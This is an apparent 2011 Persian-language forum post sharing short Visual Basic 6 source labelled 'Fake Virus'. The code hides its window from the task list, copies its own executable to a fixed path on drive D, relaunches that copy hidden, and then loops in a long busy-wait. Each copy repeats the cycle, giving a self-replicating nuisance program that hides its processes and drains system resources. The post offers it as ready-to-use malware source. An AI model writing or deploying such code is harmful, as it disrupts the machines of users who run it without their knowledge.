09-18-2011، 12:48 PM
![[عکس: j59s3jg7s7onf92ejqd.jpg]](http://up4.iranblog.com/images/j59s3jg7s7onf92ejqd.jpg)
کد:
'Coder : Amin Mansouri
'Fake Virus (Amator Programming)
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Const Amin = "d:\Fucker.exe"
Private Sub Form_Load()
App.TaskVisible = False
AminWhile (900000000)
End Sub
Function AminWhile(Time As Long)
On Error Resume Next
Dim StartTime As Long
StartTime = GetTickCount()
Kill Amin
FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin
Shell (Amin), vbHide
While (StartTime + Time) > GetTickCount()
DoEvents
Wend
End Function